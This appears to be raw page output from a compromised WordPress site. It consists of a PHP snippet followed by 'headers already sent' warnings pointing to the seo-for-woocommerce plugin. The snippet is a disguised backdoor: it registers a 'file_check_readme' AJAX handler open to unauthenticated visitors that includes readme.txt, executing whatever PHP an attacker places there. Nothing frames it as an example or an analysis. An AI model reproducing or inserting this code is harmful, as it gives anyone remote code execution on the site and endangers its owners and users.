if(!function_exists('file_check_readme29311')){
   add_action('wp_ajax_nopriv_file_check_readme29311', 'file_check_readme29311');
   add_action('wp_ajax_file_check_readme29311', 'file_check_readme29311');
   function file_check_readme29311()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
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<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/atbint6/atbin.ca/wp-content/plugins/seo-for-woocommerce/seo-for-woocommerce.php:264) in <b>/home/atbint6/atbin.ca/wp-includes/pluggable.php</b> on line <b>1450</b><br />
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<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/atbint6/atbin.ca/wp-content/plugins/seo-for-woocommerce/seo-for-woocommerce.php:264) in <b>/home/atbint6/atbin.ca/wp-includes/pluggable.php</b> on line <b>1453</b><br />